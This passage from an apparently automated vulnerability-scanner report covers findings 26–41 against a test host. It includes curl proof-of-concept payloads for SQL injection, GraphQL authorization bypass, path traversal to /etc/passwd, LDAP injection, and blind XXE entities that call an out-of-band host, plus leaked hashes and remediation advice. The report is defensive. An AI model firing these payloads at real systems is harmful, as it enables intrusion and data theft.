Reproduce:
curl -i -X POST 'http://172.26.203.184/graphql_test.php' --data 'GQLSQLI:1' OR '1'='1'

Evidence (live response):
{"data":{"user":[{"id":"1","username":"admin","password":"0192023a7bbd73250516f069df18b500","role":"admin"},{"id":"2","username":"user","password":"6ad14ba9986e3615423dfca256d04e3f","role":"user"},{"id":"3","username":"test","password":"cc03e747a6afbbcbf8be7668acfebee5","role":"u…

Remediation
Enforce field-level authorization in every resolver — a query reaching a field is not authorization.

• Check the caller's permission inside each resolver (and on nested/edge fields), not only at the top-level
query.
• Centralize authorization (directives/middleware) so sensitive fields (password, ssn, tokens) require
explicit grants.
• Never return secret fields by default; gate them behind owner/role checks.

References: CWE-285 · OWASP: GraphQL Cheat Sheet (Authorization)

[26] GGC-GQL-28C · GRAPHQL_INJECTION — query
CONFIRMED CVSS 7,5 High · CWE-285 Improper Authorization (GraphQL field-level) · Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C

Missing authorization or an information exposure lets an attacker access data/actions they shouldn't.
Compliance: A01:2021 – Broken Access Control · PCI-DSS v4.0 Req 6.2.4 / 7.2.1 · ISO/IEC 27001:2022 A.8.3 / A.5.15 · GDPR Art.
5(1)(f) + Art. 32 (confidentiality)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: /graphql_depth_test.php
Impact: AUTH_BYPASS (Direct)
Access: Unauthenticated
Evidence: @ offset 55 — via graphql-field-authz-bypass:
{"data":{"user":{"id":1,"username":"admin","password":"s3cr3t_p4ss","ssn":"111-11-
1111","friends":[{"id":2,"username":"bob"}]}…
Flow: Sensitive field authorization bypass: the endpoint returns password and ssn fields for any user query
with no authentication or field-level authorization check.
Evidence strength: High (96/100)

+50 Confirmed (strong signal)
+20 Direct detection (graphql-field-authz-bypass)
+15 Damning token in response (""password"")
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'http://172.26.203.184/graphql_depth_test.php' --data 'GQLFIELD:{user{id username
password ssn}}'

Evidence (live response):
{"data":{"user":{"id":1,"username":"admin","password":"s3cr3t_p4ss","ssn":"111-11-
1111","friends":[{"id":2,"username":"bob"}]}}}
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Remediation
Enforce field-level authorization in every resolver — a query reaching a field is not authorization.

• Check the caller's permission inside each resolver (and on nested/edge fields), not only at the top-level
query.
• Centralize authorization (directives/middleware) so sensitive fields (password, ssn, tokens) require
explicit grants.
• Never return secret fields by default; gate them behind owner/role checks.

References: CWE-285 · OWASP: GraphQL Cheat Sheet (Authorization)

[27] GGC-PATH-45F · PATH_TRAVERSAL — download
CONFIRMED CVSS 7,5 High · CWE-22 Path Traversal / Arbitrary File Read · Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C

User-controlled path components escape the intended directory, exposing arbitrary files (/etc/passwd, config, source).
Compliance: A01:2021 – Broken Access Control · PCI-DSS v4.0 Req 6.2.4 / 7.2.1 · ISO/IEC 27001:2022 A.8.3 / A.5.15 · GDPR Art.
5(1)(f) + Art. 32 (confidentiality)
MITRE ATT&CK: T1083 File and Directory Discovery · T1005 Data from Local System

Location: race_and_files.php
Impact: FILE_READ (Direct)
Access: Unauthenticated
Evidence: @ offset 0 — via indicator: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbi…
Flow: str_replace('../', '', $file) is a weak filter — '....//....//etc/passwd' bypasses it (removing ../ once leaves
../). The resulting path is passed to readfile(), exposing arbitrary files.
Evidence strength: High (98/100)

+50 Confirmed (strong signal)
+20 Direct detection (indicator)
+15 Damning token in response ("root:x:0:0")
+6 Expected indicator reflected
+2 Reproduced by 2 payload(s)
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i 'race_and_files.php?download=....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc%2Fpasswd'

Evidence (live response):
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nol…

Remediation
Never build filesystem paths from user input — map requests to a fixed allowlist and canonicalize
before use.

• Map the user-supplied identifier to a server-side allowlist of permitted files; never use it as a path
directly.
• Canonicalize the resolved path (realpath) and verify it is still inside the intended base directory before
reading.
• Reject traversal sequences AFTER decoding (../, ..\, encoded %2e%2e, and stripped variants like ....//).
• Run with least privilege so sensitive files (/etc/passwd, app secrets) are unreadable by the web user.

References: CWE-22 · CWE-73 · OWASP: Path Traversal · OWASP: File Path Traversal Prevention Cheat Sheet

[28] GGC-VULN-548 · PII_EXPOSURE — Credit card number
CONFIRMED CVSS 7,5 High · CWE-359 Exposure of Private Personal Information / Secrets · Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C

Personal data is exposed in responses without need or access control (privacy / GDPR concern).
Compliance: A02:2021 – Cryptographic Failures · PCI-DSS v4.0 Req 3.4.1 / 3.5.1 · ISO/IEC 27001:2022 A.5.34 / A.8.24 · GDPR Art.
5(1)(f) + Art. 32 + Art. 34 (breach notification)
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MITRE ATT&CK: T1213 Data from Information Repositories

Location: HTTP response body
Impact: INFORMATION_DISCLOSURE (Direct)
Access: Unauthenticated
Flow: The application returns Credit card number in a response body; sensitive personal data / credentials
are exposed to the client (and any intermediary).
Evidence strength: Medium (75/100)

+50 Confirmed (strong signal)
+20 Direct detection (pii-credit-card)
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i 'idor_uuid_test.php?action=account&id=b7e4d216-1c2b-4a3c-9d8e-7f6a5b4c3d2e'

Evidence (live response):
Exposed Credit card number in a response body — 2 occurrence(s). Masked sample: **** **** ****
0000. First seen: idor_uuid_test.php?action=account&id=b7e4d216-1c2b-4a3c-9d8e-7f6a5b4c3d2e.
Personal data / secrets should not be returned to unauthorised contexts (GDPR/RODO Art. 32).

Remediation
Stop returning personal data / secrets in responses; minimise, mask, and access-control sensitive
fields.

• Remove secrets (keys/tokens/private keys) from responses entirely; rotate any that leaked.
• Return only the fields the client needs (data minimisation); mask IDs/cards (e.g. last 4) server-side.
• Gate personal data behind authorization and send Cache-Control: no-store on those responses.
• Map this to GDPR/RODO Art. 5 (minimisation) & Art. 32 (security of processing); log/justify any PII
egress.

References: CWE-359 · OWASP: Sensitive Data Exposure · GDPR/RODO Art. 32

[29] GGC-VULN-D4B · PII_EXPOSURE — JWT token
CONFIRMED CVSS 7,5 High · CWE-359 Exposure of Private Personal Information / Secrets · Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C

Personal data is exposed in responses without need or access control (privacy / GDPR concern).
Compliance: A02:2021 – Cryptographic Failures · PCI-DSS v4.0 Req 3.4.1 / 3.5.1 · ISO/IEC 27001:2022 A.5.34 / A.8.24 · GDPR Art.
5(1)(f) + Art. 32 + Art. 34 (breach notification)
MITRE ATT&CK: T1213 Data from Information Repositories

Location: HTTP response body
Impact: INFORMATION_DISCLOSURE (Direct)
Access: Unauthenticated
Flow: The application returns JWT token in a response body; sensitive personal data / credentials are
exposed to the client (and any intermediary).
Evidence strength: Medium (75/100)

+50 Confirmed (strong signal)
+20 Direct detection (pii-jwt)
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i 'jwt_kid_test.php?action=profile'

Evidence (live response):
Exposed JWT token in a response body — 3 occurrence(s). Masked sample: eyJhbGciOiJIUzI1…. First
seen: jwt_kid_test.php?action=profile. Personal data / secrets should not be returned to
unauthorised contexts (GDPR/RODO Art. 32).

Remediation
Stop returning personal data / secrets in responses; minimise, mask, and access-control sensitive
fields.

• Remove secrets (keys/tokens/private keys) from responses entirely; rotate any that leaked.
• Return only the fields the client needs (data minimisation); mask IDs/cards (e.g. last 4) server-side.



GGSec Cortex v0.9 Beta · GG Advanced IT Security · ggsec.de · CONFIDENTIAL · page 25 / 40

• Gate personal data behind authorization and send Cache-Control: no-store on those responses.
• Map this to GDPR/RODO Art. 5 (minimisation) & Art. 32 (security of processing); log/justify any PII
egress.

References: CWE-359 · OWASP: Sensitive Data Exposure · GDPR/RODO Art. 32

[30] GGC-XXE-806 · XXE — avatar
CONFIRMED CVSS 7,5 High · CWE-611 XML External Entity Reference · Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C

An XML parser resolves external entities, enabling local-file disclosure, SSRF, or denial of service.
Compliance: A05:2021 – Security Misconfiguration · PCI-DSS v4.0 Req 2.2.1 / 6.2.4 · ISO/IEC 27001:2022 A.8.9 / A.8.28 · GDPR Art.
32 (security of processing)
MITRE ATT&CK: T1083 File and Directory Discovery · T1005 Data from Local System

Location: race_and_files.php
Impact: FILE_READ (Direct)
Access: Unauthenticated
Flow: SVG file upload XXE: uploaded SVG is saved to /tmp/, then read and parsed with
DOMDocument::loadXML($svg_content, LIBXML_NOENT). External entities in the SVG are resolved. The
response only shows 'Avatar uploaded and parsed successfully' — no entity content reflected, so this is blind
XXE requiring OOB exfiltration.
Evidence strength: Medium (83/100)

+50 Confirmed (strong signal)
+28 Out-of-band callback received
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'http://172.26.203.184/race_and_files.php' --data 'SVGUPLOAD:<?xml
version="1.0"?><!DOCTYPE svg [<!ENTITY % x SYSTEM "http://172.26.192.1:8888/58718bbb69c7">
%x;]><svg xmlns="http://www.w3.org/2000/svg" width="1" height="1"/>'

Evidence (live response):
OOB HTTP callback received by the GGSec collaborator — the target issued an outbound request to
http://172.26.192.1:8888/58718bbb69c7, proving blind (out-of-band) injection. The in-band HTTP
response body is not the proof for this finding.

Remediation
Disable external entity and DTD processing in the XML parser.

• Disable entity loading/DTDs (e.g. libxml_disable_entity_loader, LIBXML_NONET, no
LIBXML_NOENT/DTDLOAD).
• Prefer a hardened parser configuration or a non-XML format (JSON) where possible.

References: CWE-611 · OWASP: XXE Prevention Cheat Sheet

[31] GGC-XXE-A11 · XXE — avatar
CONFIRMED CVSS 7,5 High · CWE-611 XML External Entity Reference · Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C

An XML parser resolves external entities, enabling local-file disclosure, SSRF, or denial of service.
Compliance: A05:2021 – Security Misconfiguration · PCI-DSS v4.0 Req 2.2.1 / 6.2.4 · ISO/IEC 27001:2022 A.8.9 / A.8.28 · GDPR Art.
32 (security of processing)
MITRE ATT&CK: T1083 File and Directory Discovery · T1005 Data from Local System

Location: /svgupload_test.php
Impact: FILE_READ (Direct)
Access: Unauthenticated
Flow: An uploaded file with .svg extension or <svg content is parsed by DOMDocument::loadXML() with
LIBXML_NOENT | LIBXML_DTDLOAD flags. Parsed content is never reflected (blind — only 'thumbnail
generated' echoed). A malicious SVG with an external parameter entity triggers a blind XXE via OOB
callback during XML parsing.
Evidence strength: Medium (83/100)

+50 Confirmed (strong signal)
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+28 Out-of-band callback received
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'http://172.26.203.184/svgupload_test.php' --data 'SVGUPLOAD:<?xml
version="1.0"?><!DOCTYPE svg [<!ENTITY % x SYSTEM "http://172.26.192.1:8888/7e99c3277509">
%x;]><svg xmlns="http://www.w3.org/2000/svg" width="1" height="1"/>'

Evidence (live response):
OOB HTTP callback received by the GGSec collaborator — the target issued an outbound request to
http://172.26.192.1:8888/7e99c3277509, proving blind (out-of-band) injection. The in-band HTTP
response body is not the proof for this finding.

Remediation
Disable external entity and DTD processing in the XML parser.

• Disable entity loading/DTDs (e.g. libxml_disable_entity_loader, LIBXML_NONET, no
LIBXML_NOENT/DTDLOAD).
• Prefer a hardened parser configuration or a non-XML format (JSON) where possible.

References: CWE-611 · OWASP: XXE Prevention Cheat Sheet

[32] GGC-XXE-9BB · XXE — raw_body
CONFIRMED CVSS 7,5 High · CWE-611 XML External Entity Reference · Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C

An XML parser resolves external entities, enabling local-file disclosure, SSRF, or denial of service.
Compliance: A05:2021 – Security Misconfiguration · PCI-DSS v4.0 Req 2.2.1 / 6.2.4 · ISO/IEC 27001:2022 A.8.9 / A.8.28 · GDPR Art.
32 (security of processing)
MITRE ATT&CK: T1083 File and Directory Discovery · T1005 Data from Local System

Location: /soap_test.php
Impact: FILE_READ (Direct)
Access: Unauthenticated
Flow: The SOAP endpoint reads the raw request body via file_get_contents('php://input') and parses it via
DOMDocument::loadXML() with LIBXML_NOENT | LIBXML_DTDLOAD flags. Parsed content is never
reflected — only a static 'processed' response (blind). A SOAP envelope with an external parameter entity
triggers a blind XXE via OOB callback during DTD parsing.
Evidence strength: Medium (83/100)

+50 Confirmed (strong signal)
+28 Out-of-band callback received
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'http://172.26.203.184/soap_test.php' --data 'SOAP:<?xml version="1.0"?><!DOCTYPE
soapenv:Envelope [<!ENTITY % x SYSTEM "http://172.26.192.1:8888/bb7c62404935">
%x;]><soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Body/></soapenv:Envelope>'

Evidence (live response):
OOB HTTP callback received by the GGSec collaborator — the target issued an outbound request to
http://172.26.192.1:8888/bb7c62404935, proving blind (out-of-band) injection. The in-band HTTP
response body is not the proof for this finding.

Remediation
Disable external entity and DTD processing in the XML parser.

• Disable entity loading/DTDs (e.g. libxml_disable_entity_loader, LIBXML_NONET, no
LIBXML_NOENT/DTDLOAD).
• Prefer a hardened parser configuration or a non-XML format (JSON) where possible.

References: CWE-611 · OWASP: XXE Prevention Cheat Sheet

[33] GGC-XXE-748 · XXE — raw_body
CONFIRMED CVSS 7,5 High · CWE-611 XML External Entity Reference · Priority P1 (Within 7 days)
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CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C

An XML parser resolves external entities, enabling local-file disclosure, SSRF, or denial of service.
Compliance: A05:2021 – Security Misconfiguration · PCI-DSS v4.0 Req 2.2.1 / 6.2.4 · ISO/IEC 27001:2022 A.8.9 / A.8.28 · GDPR Art.
32 (security of processing)
MITRE ATT&CK: T1083 File and Directory Discovery · T1005 Data from Local System

Location: /restxml_test.php
Impact: FILE_READ (Direct)
Access: Unauthenticated
Flow: The REST endpoint reads the raw request body via file_get_contents('php://input') and checks the
Content-Type header. When Content-Type contains 'xml', it parses the body via DOMDocument::loadXML()
with LIBXML_NOENT | LIBXML_DTDLOAD flags. Parsed content is not reflected (blind). Flipping Content-
Type to application/xml and sending a malicious XML document with an external parameter entity triggers a
blind XXE via OOB callback.
Evidence strength: High (85/100)

+50 Confirmed (strong signal)
+28 Out-of-band callback received
+2 Reproduced by 2 payload(s)
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'http://172.26.203.184/restxml_test.php' --data 'XML:<?xml
version="1.0"?><!DOCTYPE r [<!ENTITY % x SYSTEM "http://172.26.192.1:8888/9a135656229e">
%x;]><r/>'

Evidence (live response):
OOB HTTP callback received by the GGSec collaborator — the target issued an outbound request to
http://172.26.192.1:8888/9a135656229e, proving blind (out-of-band) injection. The in-band HTTP
response body is not the proof for this finding.

Remediation
Disable external entity and DTD processing in the XML parser.

• Disable entity loading/DTDs (e.g. libxml_disable_entity_loader, LIBXML_NONET, no
LIBXML_NOENT/DTDLOAD).
• Prefer a hardened parser configuration or a non-XML format (JSON) where possible.

References: CWE-611 · OWASP: XXE Prevention Cheat Sheet

[34] GGC-XXE-6BE · XXE — report
CONFIRMED CVSS 7,5 High · CWE-611 XML External Entity Reference · Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C

An XML parser resolves external entities, enabling local-file disclosure, SSRF, or denial of service.
Compliance: A05:2021 – Security Misconfiguration · PCI-DSS v4.0 Req 2.2.1 / 6.2.4 · ISO/IEC 27001:2022 A.8.9 / A.8.28 · GDPR Art.
32 (security of processing)
MITRE ATT&CK: T1083 File and Directory Discovery · T1005 Data from Local System

Location: /ooxml_test.php
Impact: FILE_READ (Direct)
Access: Unauthenticated
Flow: An uploaded .docx file is opened as a ZipArchive, the inner word/document.xml part is extracted and
parsed via DOMDocument::loadXML() with LIBXML_NOENT | LIBXML_DTDLOAD flags enabled. Parsed
content is never reflected (blind). A malicious OOXML document with an external entity in
word/document.xml triggers an OOB callback during XML parsing.
Evidence strength: Medium (83/100)

+50 Confirmed (strong signal)
+28 Out-of-band callback received
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'http://172.26.203.184/ooxml_test.php' --data 'OOXMLUPLOAD:<?xml
version="1.0"?><!DOCTYPE w:document [<!ENTITY % x SYSTEM "http://172.26.192.1:8888/288807f7cce1">
%x;]><w:document
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"><w:body/></w:document>'
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Evidence (live response):
OOB HTTP callback received by the GGSec collaborator — the target issued an outbound request to
http://172.26.192.1:8888/288807f7cce1, proving blind (out-of-band) injection. The in-band HTTP
response body is not the proof for this finding.

Remediation
Disable external entity and DTD processing in the XML parser.

• Disable entity loading/DTDs (e.g. libxml_disable_entity_loader, LIBXML_NONET, no
LIBXML_NOENT/DTDLOAD).
• Prefer a hardened parser configuration or a non-XML format (JSON) where possible.

References: CWE-611 · OWASP: XXE Prevention Cheat Sheet

[35] GGC-CSRF-E61 · CSRF — action (redeem via GET)
CONFIRMED CVSS 7,3 High (Base 8,1 High) · CWE-352 Cross-Site Request Forgery · Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N/E:H/RC:C

A state-changing action lacks an anti-forgery token, so a malicious site can perform it as a logged-in victim.
Compliance: A01:2021 – Broken Access Control · PCI-DSS v4.0 Req 6.2.4 / 7.2.1 · ISO/IEC 27001:2022 A.8.3 / A.5.15 · GDPR Art.
5(1)(f) + Art. 32 (confidentiality)
MITRE ATT&CK: T1539 Steal Web Session Cookie

Location: race_and_files.php
Impact: PRIV_ESC (Direct)
Access: Customer
Evidence: @ offset 22 — via csrf-no-token: {"status":"ok","msg":"Redeemed! Remaining: 50"}
Flow: The redeem action (?action=redeem) is a state-changing operation (deducts points and writes to file)
accessible via GET with no CSRF token. An attacker can embed an img tag or link that triggers point
redemption when a victim's browser loads it.
Evidence strength: Medium (81/100)

+50 Confirmed (strong signal)
+20 Direct detection (csrf-no-token)
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i 'race_and_files.php?action=redeem'

Evidence (live response):
{"status":"ok","msg":"Redeemed! Remaining: 50"}

Remediation
Require an anti-CSRF token on state-changing requests and use SameSite cookies.

• Add per-session/per-request CSRF tokens to all state-changing forms and verify them server-side.
• Set SameSite=Lax/Strict on session cookies; verify Origin/Referer for sensitive actions.
• Never perform state changes via GET.

References: CWE-352 · OWASP: CSRF Prevention Cheat Sheet

[36] GGC-VULN-458 · LDAP_INJECTION — user
CONFIRMED CVSS 7,1 High (Base 8,2 High) · CWE-90 LDAP Injection · Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N/E:H/RC:C

Untrusted input alters an LDAP filter, allowing authentication bypass or directory data disclosure.
Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of
processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: /ldap_test.php
Impact: AUTH_BYPASS (Direct)
Access: Customer
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Evidence: @ offset 26 — via ldap-error: [LDAP INJECTION] payload '*)(uid=*))(|(uid=*' in 'user' triggered an
LDAP filter error not present for a…
Flow: $_GET['user'] is concatenated directly into the LDAP filter string "(&(uid=$user)(objectClass=person))"
with no ldap_escape(). Metacharacters like *)( unbalance the filter and trigger a 'Bad search filter' error; a
wildcard * matches all entries; crafted filters like *)(uid=*)(&(uid=* can bypass intended filter constraints.
Evidence strength: High (90/100)

+50 Confirmed (strong signal)
+20 Direct detection (ldap-error)
+15 Damning token in response ("uid=")
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i 'ldap_test.php'

Evidence (live response):
[LDAP INJECTION] payload '*)(uid=*))(|(uid=*' in 'user' triggered an LDAP filter error not present
for a benign value — input reaches an LDAP filter unescaped. Warning: ldap_search(): Search: Bad
search filter

Remediation
Escape LDAP special characters and use parameterized/allowlisted filters — never concatenate input
into a filter.

• Escape filter metacharacters ( ) * \ NUL per RFC 4515 (ldap_escape() / framework equivalent).
• Build filters from a fixed template with bound values; allowlist attribute names.
• Bind with least-privilege service accounts; never authenticate by substituting input into the bind DN/filter.

References: CWE-90 · OWASP: LDAP Injection Prevention Cheat Sheet

[37] GGC-VULN-637 · OUTDATED_COMPONENT — apache 2.4.58 · CVE-2024-38476
PROBABLE CVSS 6,8 Medium (Base 7,5 High) · CWE-1104 Use of Unmaintained/Vulnerable Third-Party Component ·
Priority P2 (Within 30 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R

An unmaintained / known-vulnerable third-party component is in use; a published CVE may apply.
Compliance: A06:2021 – Vulnerable and Outdated Components · PCI-DSS v4.0 Req 6.3.1 / 6.3.3 (patch mgmt) · ISO/IEC 27001:2022
A.8.8 · GDPR Art. 32 (security of processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: HTTP Server / X-Powered-By banner
Impact: DOS (Direct)
Access: Unauthenticated
Flow: The server banner indicates apache 2.4.58, which the version range for CVE-2024-38476 (fixed in
2.4.60) would cover — version-indicated only, not confirmed exploitable (banner may be backport-patched;
vulnerable config/module not verified).
Evidence strength: Low (43/100)

+18 Likely (weak signal only)
+20 Direct detection (outdated-component)
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i ''

Evidence (live response):
Server banner 'Apache/2.4.58' matches CVE-2024-38476 (CWE-476, High): mod_proxy null-pointer
dereference → DoS via malicious backend response headers. Affected: version < 2.4.60. VERSION-
INDICATED / UNVERIFIED — this is a banner-only match: (1) a backported distro patch may leave…

Remediation
Upgrade the flagged component to a fixed release; version-indicated — verify against your actual
(possibly backported) build.

• Upgrade to the fixed version listed for the CVE (or a distro build with the backported patch).
• Confirm the real installed version — a backported security fix can leave the banner version unchanged
(avoid false positives).
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• Suppress the version banner (ServerTokens Prod / expose_php=Off / remove X-Powered-By) to reduce
fingerprinting.
• Track dependencies with SCA (composer audit / npm audit / Dependabot) and patch on a schedule.

References: CWE-1104 · OWASP A06:2021 Vulnerable & Outdated Components · NVD

[38] GGC-VULN-91A · OUTDATED_COMPONENT — guzzlehttp/guzzle@6.5.0 · CVE-
2022-31090
PROBABLE CVSS 6,8 Medium (Base 7,5 High) · CWE-1104 Use of Unmaintained/Vulnerable Third-Party Component ·
Priority P2 (Within 30 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RC:R

An unmaintained / known-vulnerable third-party component is in use; a published CVE may apply.
Compliance: A06:2021 – Vulnerable and Outdated Components · PCI-DSS v4.0 Req 6.3.1 / 6.3.3 (patch mgmt) · ISO/IEC 27001:2022
A.8.8 · GDPR Art. 32 (security of processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: composer lockfile: composer.lock
Impact: INFORMATION_DISCLOSURE (Direct)
Access: Unauthenticated
Evidence: @ offset 68 — via outdated-component: …package guzzlehttp/guzzle@6.5.0 (in composer.lock)
matches CVE-2022-31090 (CWE-200, Medium): Cross-domain cookie leakage on redirect.…
Flow: guzzlehttp/guzzle@6.5.0 is a known-vulnerable dependency (CVE-2022-31090).
Evidence strength: Low (49/100)

+18 Likely (weak signal only)
+20 Direct detection (outdated-component)
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'tests\composer.lock' --data 'CVE-2022-31090'

Evidence (live response):
composer package guzzlehttp/guzzle@6.5.0 (in composer.lock) matches CVE-2022-31090 (CWE-200,
Medium): Cross-domain cookie leakage on redirect. Fixed in 6.5.8 — upgrade to >= 6.5.8.

Remediation
Upgrade the flagged component to a fixed release; version-indicated — verify against your actual
(possibly backported) build.

• Upgrade to the fixed version listed for the CVE (or a distro build with the backported patch).
• Confirm the real installed version — a backported security fix can leave the banner version unchanged
(avoid false positives).
• Suppress the version banner (ServerTokens Prod / expose_php=Off / remove X-Powered-By) to reduce
fingerprinting.
• Track dependencies with SCA (composer audit / npm audit / Dependabot) and patch on a schedule.

References: CWE-1104 · OWASP A06:2021 Vulnerable & Outdated Components · NVD

[39] GGC-VULN-AD0 · OUTDATED_COMPONENT — symfony/http-kernel@v5.4.10 ·
CVE-2022-24894
PROBABLE CVSS 6,8 Medium (Base 7,5 High) · CWE-1104 Use of Unmaintained/Vulnerable Third-Party Component ·
Priority P2 (Within 30 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RC:R

An unmaintained / known-vulnerable third-party component is in use; a published CVE may apply.
Compliance: A06:2021 – Vulnerable and Outdated Components · PCI-DSS v4.0 Req 6.3.1 / 6.3.3 (patch mgmt) · ISO/IEC 27001:2022
A.8.8 · GDPR Art. 32 (security of processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: composer lockfile: composer.lock
Impact: INFORMATION_DISCLOSURE (Direct)
Access: Unauthenticated
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Evidence: @ offset 72 — via outdated-component: …kage symfony/http-kernel@v5.4.10 (in composer.lock)
matches CVE-2022-24894 (CWE-200, Medium): Sensitive header/cache-key information d…
Flow: symfony/http-kernel@v5.4.10 is a known-vulnerable dependency (CVE-2022-24894).
Evidence strength: Low (49/100)

+18 Likely (weak signal only)
+20 Direct detection (outdated-component)
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'tests\composer.lock' --data 'CVE-2022-24894'

Evidence (live response):
composer package symfony/http-kernel@v5.4.10 (in composer.lock) matches CVE-2022-24894 (CWE-200,
Medium): Sensitive header/cache-key information disclosure. Fixed in 5.4.20 — upgrade to >=
5.4.20.

Remediation
Upgrade the flagged component to a fixed release; version-indicated — verify against your actual
(possibly backported) build.

• Upgrade to the fixed version listed for the CVE (or a distro build with the backported patch).
• Confirm the real installed version — a backported security fix can leave the banner version unchanged
(avoid false positives).
• Suppress the version banner (ServerTokens Prod / expose_php=Off / remove X-Powered-By) to reduce
fingerprinting.
• Track dependencies with SCA (composer audit / npm audit / Dependabot) and patch on a schedule.

References: CWE-1104 · OWASP A06:2021 Vulnerable & Outdated Components · NVD

[40] GGC-VULN-606 · OUTDATED_COMPONENT — lodash@4.17.15 · CVE-2020-8203
PROBABLE CVSS 6,8 Medium (Base 7,5 High) · CWE-1104 Use of Unmaintained/Vulnerable Third-Party Component ·
Priority P2 (Within 30 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RC:R

An unmaintained / known-vulnerable third-party component is in use; a published CVE may apply.
Compliance: A06:2021 – Vulnerable and Outdated Components · PCI-DSS v4.0 Req 6.3.1 / 6.3.3 (patch mgmt) · ISO/IEC 27001:2022
A.8.8 · GDPR Art. 32 (security of processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: npm lockfile: package-lock.json
Impact: INFORMATION_DISCLOSURE (Direct)
Access: Unauthenticated
Evidence: @ offset 58 — via outdated-component: npm package lodash@4.17.15 (in package-lock.json)
matches CVE-2020-8203 (CWE-1321, High): Prototype pollution via zipObjectDeep/set…
Flow: lodash@4.17.15 is a known-vulnerable dependency (CVE-2020-8203).
Evidence strength: Low (49/100)

+18 Likely (weak signal only)
+20 Direct detection (outdated-component)
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'tests\package-lock.json' --data 'CVE-2020-8203'

Evidence (live response):
npm package lodash@4.17.15 (in package-lock.json) matches CVE-2020-8203 (CWE-1321, High):
Prototype pollution via zipObjectDeep/set. Fixed in 4.17.19 — upgrade to >= 4.17.19.

Remediation
Upgrade the flagged component to a fixed release; version-indicated — verify against your actual
(possibly backported) build.

• Upgrade to the fixed version listed for the CVE (or a distro build with the backported patch).
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• Confirm the real installed version — a backported security fix can leave the banner version unchanged
(avoid false positives).
• Suppress the version banner (ServerTokens Prod / expose_php=Off / remove X-Powered-By) to reduce
fingerprinting.
• Track dependencies with SCA (composer audit / npm audit / Dependabot) and patch on a schedule.

References: CWE-1104 · OWASP A06:2021 Vulnerable & Outdated Components · NVD

[41] GGC-VULN-463 · OUTDATED_COMPONENT — jquery@3.4.1 · CVE-2020-11022
PROBABLE CVSS 6,8 Medium (Base 7,5 High) · CWE-1104 Use of Unmaintained/Vulnerable Third-Party Component ·
Priority P2 (Within 30 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RC:R

An unmaintained / known-vulnerable third-party component is in use; a published CVE may apply.
Compliance: A06:2021 – Vulnerable and Outdated Components · PCI-DSS v4.0 Req 6.3.1 / 6.3.3 (patch mgmt) · ISO/IEC 27001:2022
A.8.8 · GDPR Art. 32 (security of processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

